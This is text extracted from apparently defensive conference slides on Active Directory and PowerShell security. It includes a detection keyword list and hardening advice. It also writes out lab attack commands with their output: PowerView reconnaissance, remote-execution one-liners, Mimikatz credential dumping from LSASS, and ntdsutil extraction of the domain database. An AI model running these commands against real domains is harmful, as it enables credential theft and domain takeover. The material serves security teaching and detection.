+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent

PS C:\temp> .\enc-InvokeMMK.ps1
PS>
Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Finding Obfuscated Evil

<table>
<thead>
<tr>
<th>Name</th>
<th>Percent</th>
<th>Percent</th>
</tr>
</thead>
<tbody>
<tr>
<td>e</td>
<td>9.4564</td>
<td>21.8082</td>
</tr>
<tr>
<td>t</td>
<td>6.7140</td>
<td>21.6592</td>
</tr>
<tr>
<td>r</td>
<td>5.0406</td>
<td>21.6592</td>
</tr>
<tr>
<td>a</td>
<td>4.7189</td>
<td>13.3134</td>
</tr>
<tr>
<td>i</td>
<td>4.7767</td>
<td>7.4516</td>
</tr>
<tr>
<td>o</td>
<td>4.4764</td>
<td>2.8315</td>
</tr>
<tr>
<td>n</td>
<td>4.2403</td>
<td>2.0864</td>
</tr>
<tr>
<td>s</td>
<td>3.8796</td>
<td>1.6890</td>
</tr>
<tr>
<td>l</td>
<td>3.1438</td>
<td>1.5399</td>
</tr>
<tr>
<td>$</td>
<td>3.0764</td>
<td>1.3412</td>
</tr>
<tr>
<td>m</td>
<td>2.6707</td>
<td>1.2916</td>
</tr>
<tr>
<td>c</td>
<td>2.3153</td>
<td>0.9431</td>
</tr>
<tr>
<td>d</td>
<td>2.1127</td>
<td>0.8445</td>
</tr>
<tr>
<td>u</td>
<td>2.0765</td>
<td>0.8941</td>
</tr>
<tr>
<td>-</td>
<td>1.9549</td>
<td>0.4470</td>
</tr>
<tr>
<td>.</td>
<td>1.9168</td>
<td>0.3935</td>
</tr>
<tr>
<td>p</td>
<td>1.9049</td>
<td>0.3724</td>
</tr>
<tr>
<td>&quot;</td>
<td>1.8218</td>
<td>0.1043</td>
</tr>
<tr>
<td>$</td>
<td>1.4232</td>
<td>0.0993</td>
</tr>
<tr>
<td>(</td>
<td>1.3617</td>
<td></td>
</tr>
</tbody>
</table>

http://www.leeholmes.com/blog/2016/10/22/more-detecting-obfuscated-powershell/
Finding Obfuscated Evil

• Deploy PowerShell v5.
• Enable PowerShell script block logging.
• Look at length of PowerShell command
• Look for lots of brackets `{ }`
• Look for lots of quotes (single & double) “ ” & ‘’

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Offensive PowerShell Detection Cheatsheet

- AdjustTokenPrivileges
- IMAGE_NT_OPTIONAL_HDR64_MAGIC
- Management.Automation.RuntimeException
- Microsoft.Win32.UnsafeNativeMethods
- ReadProcessMemory.Invoke
- Runtime.InteropServices
- SE_PRIVILEGE_ENABLED
- System.Security.Cryptography
- System.Reflection.AssemblyName
- System.Runtime.InteropServices
- LSA_UNICODE_STRING
- MiniDumpWriteDump
- PAGE_EXECUTE_READ
- Net.Sockets.SocketFlags
- Reflection.Assembly
- SECURITY_DELEGATION
- CreateDelegate
- TOKEN_ADJUST_PRIVILEGES
- TOKEN_ALL_ACCESS
- TOKEN_ASSIGN_PRIMARY
- TOKEN_DUPLICATE
- TOKEN_ELEVATION
- TOKEN_IMPERSONATE
- TOKEN_INFORMATION_CLASS
- TOKEN_PRIVILEGES
- TOKEN_QUERY
- Metasploit
- Advapi32.dll
- kernel32.dll
- AmsiUtils
- KerberosRequestorSecurityToken
- ScriptBlockLogging
- LogPipelineExecutionDetails
- ProtectedEventLogging

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
PowerShell Security Recommendations

• Deploy PowerShell v5 & Enable PowerShell script block logging.
• Send PowerShell & PowerShell Operational log events to SIEM.
• On Windows 10, use AMSI-aware AV.
• Test & deploy application whitelisting (ex. AppLocker).
Paradigm Shift: ASSUME BREACH

“You (the defender) know the technologies that you intended to use in that network. We (the attacker) know the technologies that are actually in use in that network.”
- Rob Joyce, NSA TAO Chief
Interesting AD Information

- Forest config & functional level
- Domain config & functional level
- Trusts
- DCs (OS versions, services)
- RODCs (OS versions, services, passwords)
- AD Sites
- AD Admins
- Service Accounts
- Enterprise services (SPNs)
- Interesting account data

- Password policies
- Network shares (home directory, profile path, DFS)
- Domain & DC GPOs
- Workstation & Server GPOs
- GPO permissions
- Local workstation & server admins
- Computer accounts in admin groups
- AD Permissions
  - Domain
  - AdminSDHolder
  - Domain Controllers OU
  - Workstations & Accounts OUs
**Get-NetForest**

- **RootDomainSid**: S-1-5-21-1581655573-3923512380-696647894
- **Name**: lab.adsecurity.org
- **Sites**: {Default-First-Site-Name}
- **Domains**: {lab.adsecurity.org, child.lab.adsecurity.org}
- **GlobalCatalogs**: {ADSDC01.lab.adsecurity.org, ADSDC02.lab.adsecurity.org, ADSDC03.lab.adsecurity.org, ADSDC11.child.lab.adsecurity.org}
- **ApplicationPartitions**: {DC=DomainDnsZones, DC=lab, DC=adsecurity, DC=org, DC=DomainDnsZones, DC=lab, DC=adsecurity, DC=org}
- **ForestMode**: Windows2008R2Forest
- **RootDomain**: lab.adsecurity.org
- **Schema**: CN=Schema,CN=Configuration,DC=lab,DC=adsecurity,DC=org
- **SchemaRoleOwner**: ADSDC03.lab.adsecurity.org
- **NamingRoleOwner**: ADSDC03.lab.adsecurity.org

**Get-NetDomain**

- **Forest**: lab.adsecurity.org
- **DomainControllers**: {ADSDC01.lab.adsecurity.org, ADSDC02.lab.adsecurity.org, ADSDC03.lab.adsecurity.org}
- **Children**: {child.lab.adsecurity.org}
- **DomainMode**: Windows2008R2Domain
- **Parent**: 
- **PdcRoleOwner**: ADSDC03.lab.adsecurity.org
- **RidRoleOwner**: ADSDC03.lab.adsecurity.org
- **InfrastructureRoleOwner**: ADSDC03.lab.adsecurity.org
- **Name**: lab.adsecurity.org

**Get-NetDomainTrust**

<table>
<thead>
<tr>
<th>SourceName</th>
<th>TargetName</th>
<th>TrustType</th>
<th>TrustDirection</th>
</tr>
</thead>
<tbody>
<tr>
<td>lab.adsecurity.org</td>
<td>child.lab.adsecurity.org</td>
<td>ParentChild</td>
<td>Bidirectional</td>
</tr>
<tr>
<td>lab.adsecurity.org</td>
<td>external.com</td>
<td>Kerberos</td>
<td>Bidirectional</td>
</tr>
<tr>
<td>lab.adsecurity.org</td>
<td>Partner.net</td>
<td>Kerberos</td>
<td>Outbound</td>
</tr>
</tbody>
</table>
Over-Permissioned Accounts

<table>
<thead>
<tr>
<th>Domain Admins Properties</th>
<th>Critical Server Admins Properties</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Object</strong></td>
<td><strong>Object</strong></td>
</tr>
<tr>
<td>General</td>
<td>General</td>
</tr>
<tr>
<td><strong>Security</strong></td>
<td><strong>Security</strong></td>
</tr>
<tr>
<td>Members</td>
<td>Members</td>
</tr>
<tr>
<td><strong>Attribute Editor</strong></td>
<td><strong>Attribute Editor</strong></td>
</tr>
<tr>
<td>Managed By</td>
<td>Managed By</td>
</tr>
</tbody>
</table>

**Members:**
- ADA Admins
- ADS Administrator
- Luke Skywalker

**Members:**
- Active Directory Domain Services Folder
- Critical Server Admins

**Members:**
- Han Solo
- Wesley Crusher

Sean Metcalf
[@Pyrotek3 | sean@TrimarcSecurity.com]
Discover Admin Accounts

```powershell
Get-NetGroupMember -GroupName "Domain Admins"
```

- **GroupDomain**: lab.adsecurity.org
- **GroupName**: Domain Admins
- **MemberDomain**: lab.adsecurity.org
- **MemberName**: LukeSkywalker
- **MemberSID**: S-1-5-21-1581655573-3923512380-696647894-2629
- **IsGroup**: False
- **MemberDN**: CN=LukeSkywalker,OU=AD Management,DC=lab,DC=adsecurity,DC=org

```powershell
Get-NetUser -AdminCount | Select name,whencreated,pwdlastset,lastlogon
```

<table>
<thead>
<tr>
<th>Name</th>
<th>WhenCreated</th>
<th>PwdLastSet</th>
<th>LastLogon</th>
</tr>
</thead>
<tbody>
<tr>
<td>Kylo Ren</td>
<td>6/11/2016 9:12:41 PM</td>
<td>6/11/2016 5:12:41 PM</td>
<td>12/31/1600 7:00:00 PM</td>
</tr>
</tbody>
</table>

Sean Metcalf (@Pyrotek3) | sean@TrimarcSecurity.com
Discover AD Groups with Local Admin Rights

PS C:\Users\joeuser> Get-NetGPOGroup

GPOPath : \lab.adsecurity.org\SysVol\lab.adsecurity.org\Policies\{E9CABEOF-3A3F-40B1-B4C1-1FA89AC1F212\}\MACHINE\Preference\GroupPolicyPreferences
Filters :
GroupName : Administrators (built-in)
GroupSID : S-1-5-32-544
GroupMemberOf :
Group Members :
GPODisplay Name : Add Server Admins to Local Administrator Group
GPOName : \{E9CABEOF-3A3F-40B1-B4C1-1FA89AC1F212\}
GPOType : GroupPolicyPreferences

GPODisplay Name : Add Workstation Admins to Local Administrators Group
GPOName : \{45556105-EFE6-43D8-A92C-AACB1D3D4DE5\}
GPOPath : \lab.adsecurity.org\SysVol\lab.adsecurity.org\Policies\{45556105-EFE6-43D8-A92C-AACB1D3D4DE5\}\MACHINE\Preference\GroupPolicyPreferences
Filters :
GroupName : ADSECLAB\Workstation Admins
GroupSID : S-1-5-21-1581655573-3923512380-696647894-2628
GroupMemberOf :
Group Members :
GPODisplay Name : Add Workstation Admins to Local Administrators Group
GPOName : \{45556105-EFE6-43D8-A92C-AACB1D3D4DE5\}
GPOPath : \lab.adsecurity.org\SysVol\lab.adsecurity.org\Policies\{45556105-EFE6-43D8-A92C-AACB1D3D4DE5\}\MACHINE\Preference\GroupPolicyPreferences
Filters :
GroupName : Remote Desktop Users (built-in)
GroupSID : S-1-5-32-555
GroupMemberOf :
Group Members :
GPODisplay Name : Set Remote Users
GPOName : \{F481B887-A0BC-4044-9DB2-497\}
GPOType : GroupPolicyPreferences

PS C:\> Find-GPOComputerAdmin -OUName 'OU=Workstations,DC=lab,DC=adsecurity'

ComputerName : Add Workstation Admins to Local Administrators Group
GPODisplay Name : Add Workstation Admins to Local Administrators Group
GPOPath : \lab.adsecurity.org\SysVol\lab.adsecurity.org\Policies\{45556105-EFE6-43D8-A92C-AACB1D3D4DE5\}
Filters :
GroupName :
GroupSID :
GroupMemberOf :
Group Members :
GPODisplay Name :
GPOName :
GPOType :

PS C:\> Get-NetComputer -ADSPaht 'OU=Workstations,DC=lab,DC=adsecurity,DC=lab'

ADSWKWIN7.lab.adsecurity.org
ADSWWKWIN7.lab.adsecurity.org
ADSWKWinn10.lab.adsecurity.org
Group Policy Discovery

```
PS C:\Users\joeuser> Get-NetGPO | select displayname,name,whenchanged

displayname                      | name                                      | whenchanged        
---------------------------------+-------------------------------------------+--------------------
Default Domain Policy            | {31B2F340-016D-1102-945F-00CD4F89F8F9}     | 8/28/2015 2:47:20 AM
Default Domain Controllers Policy| {6AC1786C-016D-1102-945F-00CD4F89F8F9}     | 9/6/2015 6:48:20 PM
Domain PowerShell Logging Policy  | {1CB89565-4527-4A06-AAC8-939589671D63}     | 6/12/2016 3:13:00 PM
Full Auditing Policy             | {EFA4AC1C-2B05-4679-B946-614DCD353491}     | 12/31/2015 5:04:32 AM
Prevent Local Account Logon      | {4A48F380-CAF2-4CB8-91B4-39B7CB7A2A5}       | 6/12/2016 4:58:19 PM
Add Server Admins to Local Admin Group | {E9CABE0F-3A3F-4081-B4C1-1FA89AC1F212}     | 6/12/2016 4:58:42 PM
Add Workstation Admins to Local Administrators Group | {45556105-EFE6-4308-A92C-AAC1B1D3D4E5} | 6/12/2016 3:28:41 PM
EMET Config                      | {4D23BDF2-653E-4301-B24B-4A7E4325A8E}      | 6/12/2016 4:58:42 PM
Server Scheduled Task            | {E10637ED-7135-42B8-ADED-1C50E45F2A3A}      | 6/12/2016 4:58:42 PM
Rename Local Administrator       | {1B61A07-E384-4241-A495-6CB18778291B}      | 6/12/2016 4:58:42 PM
Applocker Configuration          | {7230212E-1B51-4845-9974-E7B7F07CE90C}     | 6/12/2016 4:58:42 PM
Set Remote Users                 | {F481B887-A0BC-4044-9DB2-4979899B08C5}     | 6/12/2016 4:58:42 PM
```

```
PS C:\> get-gpo -All | select DisplayName,Id,ModificationTime | ft -auto

DisplayName                      | Id                                      | ModificationTime     
---------------------------------+-----------------------------------------+---------------------
Rename Local Administrator        | 1b61a07-e384-4241-a495-6cb1b77b9d1b      | 6/11/2016 2:23:06 PM
Domain PowerShell Logging Policy   | 1c849565-4527-4a06-aac8-939589671d63      | 6/12/2016 8:37:10 AM
Default Domain Policy             | 31bf2f340-016d-1102-945f-00cd4f89f8f9     | 6/27/2015 7:47:20 PM
Add Workstation Admins to Local Administrators Group | 45556105-efef-43d8-a92c-aac1bd3d4ed5 | 6/12/2016 12:38:00 PM
Prevent Local Account Logon       | 4ae8f380-ca38-4c88-b14b-39b97c87a425      | 12/31/2015 10:04:32 AM
EMET Config                       | 4d34b3f2-653e-43d1-b24b-4a72e4325a8e      | 6/12/2016 8:28:40 AM
Default Domain Controllers Policy | 6ae1786c-016f-1102-945f-00cd4f89f8f9       | 6/12/2016 8:28:40 AM
Applocker Configuration           | 7230212e-1b51-4845-9974-6e7bf70ce90c      | 6/12/2016 8:28:40 AM
LAPS Config                       | c99ac326-357a-4f6e-99bb-d2cc0d0d0f4       | 6/12/2016 8:28:40 AM
Server Scheduled Task             | e10637ed-7135-42b8-ad3c-1c50e45f2a3a      | 6/12/2016 8:28:40 AM
Add Server Admins to Local Admin Group | e9caabef-3a3f-40b1-b4c1-1fa89ac1f212 | 6/12/2016 12:36:36 PM
Full Auditing Policy              | ef4ac01c-2805-4679-9a46-614cd353491       | 9/6/2015 11:48:20 AM
```
# Improper OU Delegation

For additional information, double-click a permission entry. To modify a permission entry, select the entry and click Edit (if available).

<table>
<thead>
<tr>
<th>Type</th>
<th>Principal</th>
<th>Access</th>
<th>Inherited from</th>
<th>Applies to</th>
</tr>
</thead>
<tbody>
<tr>
<td>Deny</td>
<td>Everyone</td>
<td>Special</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>LAPS Password Admins (ADSECLAB\LAPS)</td>
<td>Special</td>
<td>None</td>
<td>Descendant Computer objects</td>
</tr>
<tr>
<td>Allow</td>
<td>Workstation Admins (ADSECLAB\Workstation)</td>
<td>Full control</td>
<td>None</td>
<td>Descendant Computer objects</td>
</tr>
<tr>
<td>Allow</td>
<td>Account Operators (ADSECLAB\Account Operators)</td>
<td>Create/delete InetOrgPerson</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>Account Operators (ADSECLAB\Account Operators)</td>
<td>Create/delete Computer objects</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>Account Operators (ADSECLAB\Account Operators)</td>
<td>Create/delete Group objects</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>Print Operators (ADSECLAB\Print Operators)</td>
<td>Create/delete Printer objects</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>Account Operators (ADSECLAB\Account Operators)</td>
<td>Create/delete User objects</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>Domain Computers (ADSECLAB\Domain Computers)</td>
<td>Full control</td>
<td>None</td>
<td>This object and all descendant objects</td>
</tr>
<tr>
<td>Allow</td>
<td>Domain Admins (ADSECLAB\Domain Admins)</td>
<td>Full control</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>ENTERPRISE DOMAIN CONTROLLERS</td>
<td>Special</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>Authenticated Users</td>
<td>Special</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>SYSTEM</td>
<td>Full control</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>Pre-Windows 2000 Compatible Access (ADSECLAB)</td>
<td>Special</td>
<td>DC=lab,DC=adsecurity,DC=org</td>
<td>Descendant InetOrgPerson objects</td>
</tr>
<tr>
<td>Allow</td>
<td>Pre-Windows 2000 Compatible Access (ADSECLAB)</td>
<td>Special</td>
<td>DC=lab,DC=adsecurity,DC=org</td>
<td>Descendant Group objects</td>
</tr>
<tr>
<td>Allow</td>
<td>Pre-Windows 2000 Compatible Access (ADSECLAB)</td>
<td>Special</td>
<td>DC=lab,DC=adsecurity,DC=org</td>
<td>Descendant User objects</td>
</tr>
<tr>
<td>Allow</td>
<td>SELF</td>
<td>Special</td>
<td>DC=lab,DC=adsecurity,DC=org</td>
<td>This object and all descendant objects</td>
</tr>
<tr>
<td>Allow</td>
<td>SELF</td>
<td>Special</td>
<td>DC=lab,DC=adsecurity,DC=org</td>
<td>This object and all descendant objects</td>
</tr>
<tr>
<td>Allow</td>
<td>Enterprise Admins (ADSECLAB\Enterprise Admins)</td>
<td>Full control</td>
<td>DC=lab,DC=adsecurity,DC=org</td>
<td>This object and all descendant objects</td>
</tr>
<tr>
<td>Allow</td>
<td>Pre-Windows 2000 Compatible Access (ADSECLAB)</td>
<td>List contents</td>
<td>DC=lab,DC=adsecurity,DC=org</td>
<td>This object and all descendant objects</td>
</tr>
<tr>
<td>Allow</td>
<td>Administrators (ADSECLAB\Administrators)</td>
<td>Special</td>
<td>DC=lab,DC=adsecurity,DC=org</td>
<td>Descendant Computer objects</td>
</tr>
<tr>
<td>Allow</td>
<td>ENTERPRISE DOMAIN CONTROLLERS</td>
<td>Special</td>
<td>DC=lab,DC=adsecurity,DC=org</td>
<td>Descendant Computer objects</td>
</tr>
</tbody>
</table>
# Improper OU Delegation

<table>
<thead>
<tr>
<th>Type</th>
<th>Principal</th>
<th>Access</th>
<th>Inherited from</th>
<th>Applies to</th>
</tr>
</thead>
<tbody>
<tr>
<td>Deny</td>
<td>Everyone</td>
<td>Special</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>LAPS Password Admins (ADSECLAB\Ladmin)</td>
<td>Special</td>
<td>None</td>
<td>Descendant Computer objects</td>
</tr>
<tr>
<td>Allow</td>
<td>Workstation Admins (ADSECLAB\WorkstationAdmins)</td>
<td>Full control</td>
<td>None</td>
<td>Descendant Computer objects</td>
</tr>
<tr>
<td>Allow</td>
<td>Account Operators (ADSECLAB\Accounts)</td>
<td>Create/delete InetOrgPerson objects</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>Account Operators (ADSECLAB\Accounts)</td>
<td>Create/delete Computer objects</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>Account Operators (ADSECLAB\Accounts)</td>
<td>Create/delete Group objects</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>Account Operators (ADSECLAB\Accounts)</td>
<td>Create/delete Printer objects</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>Account Operators (ADSECLAB\Accounts)</td>
<td>Create/delete User objects</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>Domain Computers (ADSECLAB\Domain Computers)</td>
<td>Full control</td>
<td>None</td>
<td>This object and all descendant objects</td>
</tr>
<tr>
<td>Allow</td>
<td>Domain Admins (ADSECLAB\Domain Admins)</td>
<td>Full control</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>ENTERPRISE DOMAIN CONTROLLERS</td>
<td>Special</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>Authenticated Users</td>
<td>Special</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>SYSTEM</td>
<td>Full control</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>Pre-Windows 2000 Compatible Access Accounts</td>
<td>Special</td>
<td>DC=lab,DC=adsecurity,DC=org</td>
<td>Descendant InetOrgPerson objects</td>
</tr>
<tr>
<td>Allow</td>
<td>Pre-Windows 2000 Compatible Access Accounts</td>
<td>Special</td>
<td>DC=lab,DC=adsecurity,DC=org</td>
<td>Descendant Group objects</td>
</tr>
<tr>
<td>Allow</td>
<td>Pre-Windows 2000 Compatible Access Accounts</td>
<td>Special</td>
<td>DC=lab,DC=adsecurity,DC=org</td>
<td>Descendant User objects</td>
</tr>
<tr>
<td>Allow</td>
<td>SELF</td>
<td>Full control</td>
<td>DC=lab,DC=adsecurity,DC=org</td>
<td>This object and all descendant objects</td>
</tr>
<tr>
<td>Allow</td>
<td>Enterprise Admins (ADSECLAB\Enterprise Admins)</td>
<td>Full control</td>
<td>DC=lab,DC=adsecurity,DC=org</td>
<td>This object and all descendant objects</td>
</tr>
<tr>
<td>Allow</td>
<td>Pre-Windows 2000 Compatible Access Accounts</td>
<td>List contents</td>
<td>DC=lab,DC=adsecurity,DC=org</td>
<td>This object and all descendant objects</td>
</tr>
<tr>
<td>Allow</td>
<td>Administrators (ADSECLAB\Administrators)</td>
<td>Special</td>
<td>DC=lab,DC=adsecurity,DC=org</td>
<td>This object and all descendant objects</td>
</tr>
<tr>
<td>Allow</td>
<td>ENTERPRISE DOMAIN CONTROLLERS</td>
<td>Special</td>
<td>DC=lab,DC=adsecurity,DC=org</td>
<td>Descendant Computer objects</td>
</tr>
</tbody>
</table>
Paradigm Shift: ASSUME BREACH

“...[Our] Red Team, on average, is able to obtain access to domain administrator credentials within three days of gaining initial access to an environment.”
The Credential Problem

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
The Credential Problem

• Most organizations:
  • Don’t properly control admin group membership.
  • Don’t properly monitor admin group membership.
  • Don’t limit where admins can logon.
  • Don’t require Two-Factor Authentication (2FA) for admins.
  • Don’t control where admins can logon.

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Getting Domain Admin in Active Directory

• Poor Service Account Passwords
• Passwords in SYSVOL
• Credential Theft (ex. admin creds on workstations)
• Misconfiguration / Incorrect Perms
• Overpermissioned Service Accounts
• Improper Group Policy Object Permissions
• Exploit Vulnerability
Overpermissioned Group Policy

• Default GPO Permissions:
  • Authenticated Users: Read
  • Domain Admins: Full
  • Enterprise Admins: Full
  • System: Full
  • Creator Owners: Modify

• Regular user accounts should never have GPO “edit” rights.

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Overpermissioned Group Policy
Computer Accounts Don’t Belong in Admin Groups

• Computer accounts can belong to security groups and often do.

• Common Examples of Computers in Groups:
  • Domain Controllers are members of the “Domain Controllers” group.
  • Read-Only Domain Controllers (RODCs) are members of the “Read-Only Domain Controllers” group.
  • Exchange servers are often members of different Exchange AD groups such as “Exchange Servers”.

• Compromise the computer to leverage all access the computer’s AD account has (via group membership).
Computer Account in Admin Groups
### Attack of the Machines: Computers as Admin

```powershell
PS C:\Users\joeuser> get-netgroup "*admins*" | Get-NetGroupMember -Recurse | ?{$_._MemberName -Like '*$'}
```

<table>
<thead>
<tr>
<th>GroupDomain</th>
<th>lab.adsecurity.org</th>
</tr>
</thead>
<tbody>
<tr>
<td>GroupName</td>
<td>Workstation Admins</td>
</tr>
<tr>
<td>MemberDomain</td>
<td>lab.adsecurity.org</td>
</tr>
<tr>
<td>MemberName</td>
<td>ADSWKWIN10$</td>
</tr>
<tr>
<td>MemberSID</td>
<td>S-1-5-21-1581655573-3923512380-696647894-3606</td>
</tr>
<tr>
<td>IsGroup</td>
<td>False</td>
</tr>
<tr>
<td>MemberDN</td>
<td>CN=ADSWKWIN10,OU=Workstations,DC=lab,DC=adsecurity,DC=org</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>GroupDomain</th>
<th>lab.adsecurity.org</th>
</tr>
</thead>
<tbody>
<tr>
<td>GroupName</td>
<td>Workstation Admins</td>
</tr>
<tr>
<td>MemberDomain</td>
<td>lab.adsecurity.org</td>
</tr>
<tr>
<td>MemberName</td>
<td>ADSWKWIN7$</td>
</tr>
<tr>
<td>MemberSID</td>
<td>S-1-5-21-1581655573-3923512380-696647894-1602</td>
</tr>
<tr>
<td>IsGroup</td>
<td>False</td>
</tr>
<tr>
<td>MemberDN</td>
<td>CN=ADSWKWIN7,OU=Workstations,DC=lab,DC=adsecurity,DC=org</td>
</tr>
</tbody>
</table>

---

Sean Metcalf [@Pyrotek3 | seanc@TrimarcSecurity.com]
Pivoting with Local Admin

• Using GPP Credentials:
  • GPP renames local Administrator account to “ADSAdmin”
  • GPP sets Password to “P@ssw0rd11!”

• Connect to other computers using ADSAdmin account

• Compromise Local Admin creds = Admin rights on all

• Always RID 500 – doesn’t matter if renamed.

• Mimikatz for more credentials!

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Pass The... Credential

• Pass the Hash
  • Access resource with username & NTLM hash
• Pass the Ticket
  • Reuse Kerberos ticket to access resource.
• Over Pass the Hash
  • Use the NTLM hash to get a Kerberos Ticket!
• Pass the Token
  • Steal existing Token & reuse to access resource.

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Over Pass the Hash

Use the NTLM password hash to get Kerberos ticket(s)
Remote Execution Options

- **WMI**
  `Wmic /node:COMPUTER/user:DOMAIN\USER /password:PASSWORD process call create "COMMAND"`

- **PowerShell (WMI)**
  `Invoke-WMIAction -Class Win32_Process -Name Create -ArgumentList $COMMAND -ComputerName $COMPUTER -Credential $CRED`

- **WinRM**
  `winrs -r:COMPUTER COMMAND`

- **PowerShell Remoting**
  `Invoke-Command -computername $COMPUTER -command { $COMMAND}`
  `New-PSSession -Name PS COMPUTER -ComputerName $COMPUTER; Enter-PSSession -Name PS COMPUTER`

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Mimikatz: The Credential Multi-tool

- **Dump credentials**
  - Windows protected memory (LSASS).
  - Active Directory Domain Controller database.

- **Dump Kerberos tickets**
  - for all users.
  - for current user.

- **Credential Injection**
  - Password hash (pass-the-hash)
  - Kerberos ticket (pass-the-ticket)

- **Generate Silver and/or Golden tickets**

- And so much more!
Dump Credentials with Mimikatz

User/Admin Account

Service Account

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
The Most Dangerous PowerShell One-Liner


http://obscuresecurity.blogspot.com/2013/02/diy-phishing-exercises-with-powershell.html
Invoke-Mimikatz

```
Invoke-Mimikatz -DumpCreds

minikatz.ps1 2.0 alpha (x64) release "Niivi en C" (Feb 15 2015 22:15:20)

# Benjmin DELPY 'gentilkiwi' (benjamin@gentilkiwi.com )
"http://blog.gentilkiwi.com/minikatz

with 15 modules */ **/

minikatz> # sekurlsa::logonpasswords

Authentication Id : 0 : 285510 (00000000:000322c6)
Session : Interactive from 2
User Name : HanSolo
Domain : ADSECCLAB
SID : S-1-5-21-1581655573-3923512380-696647894-2631

msv:
[00000003] Primary
* Username : HanSolo
* Domain : ADSECCLAB
* LM : 6e8de51bc4919e01987a75d0b5b375a
* NTLM : 269e0b63a623b2e052df4d61c9b82e18
* SSHA : 6e8d1f8e6b8b74f32f626d584f417a4107220b2bb

tspfl:
* Username : HanSolo
* Domain : ADSECCLAB
* Password : Falcon99!
wdigest:
* Username : HanSolo
* Domain : ADSECCLAB
* Password : Falcon99!
kerberos:
* Username : HanSolo
* Domain : LAB.ADSECURITY.ORG
* Password : Falcon99!
ssp:
credman:
```

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Dumping AD Domain Credentials

• Get access to the NTDS.dit file & extract data.
  • Copy AD database from remote DC.
  • Grab AD database copy from backup.
  • Get Virtual DC data.

• Dump credentials on DC (local or remote).
  • Run Mimikatz (WCE, etc) on DC.
  • Invoke-Mimikatz on DC via PS Remoting.
  • Mimikatz DCSync for Password Data
Finding NTDS.dit on the Network

• Are your DC backups properly secured?
• Domain Controller storage?
• Who administers the virtual server hosting virtual DCs?
• Are your VMWare/Hyper-V host admins considered Domain Admins?

*Hint: They should be.*
Dump LSASS Process Memory

```bash
mimikatz(commandline) # sekurlsa::minidump c:\temp\lsass.dmp
Switch to MINIDUMP : 'c:\temp\lsass.dmp'

mimikatz(commandline) # sekurlsa::logonpasswords
Opening : 'c:\temp\lsass.dmp' file for minidump...
```

Authentication Id : 0 ; 218943 <00000000:0003573f>
Session : Interactive from 1
User Name : ADSAAdministrator
Domain : ADSECLAB
Logon Server : ADSDC02
Logon Time : 5/30/2015 11:01:04 PM
SID : S-1-5-21-13872203482-2957264255-828990924-500

```
msv :
   [00000003] Primary
   * Username : ADSAAdministrator
   * Domain : ADSECLAB
   * LM : e52cac67419a9a226e7e4a5ff986d116
   * NTLM : 7c08d63a2f48f045971bc2236ed3f3ac
   * SHA1 : 05a6fb630c065d50471c5a30ac5604642a74e31

tspkg :
   * Username : ADSAAdministrator
   * Domain : ADSECLAB
   * Password : Password99!

wdigest :
   * Username : ADSAAdministrator
   * Domain : ADSECLAB
   * Password : Password99!

kerberos :
   * Username : ADSAAdministrator
   * Domain : LAB.ADSECURITY.ORG
   * Password : Password99!
```
NTDSUtil?

PS C:\Users\Administrator.ADSECLAB> ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q
C:\Windows\system32\ntdsutil.exe: ac i ntds
Active instance set to "ntds".
C:\Windows\system32\ntdsutil.exe: ifm
ifm: create full c:\temp
Creating snapshot...
Snapshot set {5113733a-e9ba-430f-a320-c1168d2f62e2} generated successfully.
Snapshot {3fd7bd9a-dda5-4da0-b83c-243a8ff25690} mounted as C:\$SNAP_201503242343_VOLUMECS$\Snapshots\ntdsdit\ntds
data
Snapshot {3fd7bd9a-dda5-4da0-b83c-243a8ff25690} is already mounted.
Initiating DEFRAGMENTATION mode...
  Source Database: C:\$SNAP_201503242343_VOLUMECS$\Windows\NTDS\ntds.dit
  Target Database: c:\temp\Active Directory\ntds.dit

Defragmentation Status (% complete)
0 10 20 30 40 50 60 70 80 90 100

---------------------------------------
Copying registry files...
Copying c:\temp\registry\SYSTEM
Copying c:\temp\registry\SECURITY
